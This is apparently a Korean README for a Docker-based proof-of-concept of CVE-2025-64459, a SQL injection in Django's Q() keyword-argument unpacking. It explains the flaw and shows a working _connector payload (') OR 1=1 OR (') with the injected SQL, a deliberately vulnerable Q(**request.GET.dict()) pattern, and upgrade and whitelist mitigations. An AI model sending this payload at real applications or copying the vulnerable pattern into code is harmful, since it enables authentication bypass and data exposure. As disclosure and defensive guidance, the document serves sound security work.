
취약점: QuerySet 및 Q() 키워드 인자 언패킹을 통한 SQL 인젝션. CVE ID: CVE-2025-64459 심각도: 치명적 (CVSS 9.1) 영향을 받는 버전: Django 5.1 < 5.1.14, 4.2 < 4.2.26, and 5.2 < 5.2.8. 연구자: Cyberstan (University of Warwick)
취약점: QuerySet 및 Q() 키워드 인자 언패킹을 통한 SQL 인젝션.
CVE ID: CVE-2025-64459
발견자: 나 (Cyberstan)
공개일: 2025년 11월 5일
이 저장소는 Django ORM의 치명적인 SQL 인젝션 취약점을 시연하는 Docker 기반 개념 증명(PoC)을 포함합니다.
취약점은 Q 객체가 인스턴스화 중에 키워드 인자를 처리하는 방식에 존재합니다. 특히, 내부 _connector 속성이 딕셔너리 언패킹(예: Q(**user_input))을 통해 전달될 때 적절히 정리되지 않습니다. 이를 통해 원격 공격자가 데이터베이스 쿼리의 WHERE 절에 임의의 SQL 로직을 주입하여 인증 우회, 데이터 유출, 권한 상승을 가능하게 합니다.
취약점은 django.db.models.sql.where.WhereNode에 있습니다. SQL WHERE 절을 컴파일하는 as_sql 메서드는 안전하지 않은 문자열 포매팅을 사용하여 쿼리 커넥터(AND/OR)를 삽입합니다.
커넥터는 일반적으로 "AND" 또는 "OR"로 기본 설정되지만, Django는 Q 객체 생성자의 _connector 키워드 인자를 통해 이를 재정의할 수 있도록 허용합니다.
# django/db/models/sql/where.py의 단순화된 취약한 로직
def as_sql(self, compiler, connection):
# ...
# self.connector 속성이 검증 없이 직접 주입됨
conn = ' %s ' % self.connector
# ...
취약점은 개발자가 사용자 입력으로부터 딕셔너리 언패킹을 사용하여 필터를 구성할 때 발생합니다. 이는 검색 API에서 흔히 사용되는 패턴입니다.
취약한 코드 패턴:
# 공격자는 'filters'의 키와 값을 제어함
filters = request.GET.dict()
query = Q(**filters) # <--- 취약 지점
results = User.objects.filter(query)
공격자가 입력에 _connector를 키로 포함하면 SQL 구조를 조작할 수 있습니다.
이 PoC는 Docker를 사용하여 취약한 Django 버전(5.1)을 포함하는 일관된 격리 환경을 보장합니다.
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
환경을 빌드하고 공격 스크립트를 실행하려면 다음 명령어를 실행합니다:
docker-compose up --build
컨테이너는 취약한 애플리케이션 엔드포인트를 시뮬레이션하는 Python 스크립트(poc.py)를 실행합니다.
alice(일반), root(관리자))를 생성합니다._connector 페이로드를 포함한 검색 요청을 시뮬레이션합니다.성공적인 익스플로잇 출력:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
즉시 Django를 최신 보안 릴리스로 업그레이드하십시오.
pip install Django==5.1.14 (또는 해당 버전)패치는 WhereNode에 엄격한 검증을 도입하여 connector가 항상 AND 또는 OR와만 같도록 합니다.
즉시 업그레이드할 수 없는 경우, Q(**kwargs) 또는 filter(**kwargs) 사용에 대해 코드베이스를 감사하십시오. 이러한 메서드에 전달된 딕셔너리가 절대 원시 사용자 제어 키를 포함하지 않도록 하십시오.
안전한 패턴:
# 허용된 필드를 명시적으로 화이트리스트에 추가
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# 이제 안전하게 언패킹 가능
User.objects.filter(**clean_filters)
이 저장소는 교육 및 보안 연구 목적으로만 제공됩니다.
제공된 코드는 특정 보안 결함을 시연하기 위해 취약한 환경을 생성합니다. 프로덕션 환경에서 절대 실행해서는 안 됩니다. 저자(Cyberstan)는 이 정보의 오용에 대해 책임을 지지 않습니다. 명시적 권한 없이 이 익스플로잇을 시스템에 대해 테스트하는 것은 불법입니다.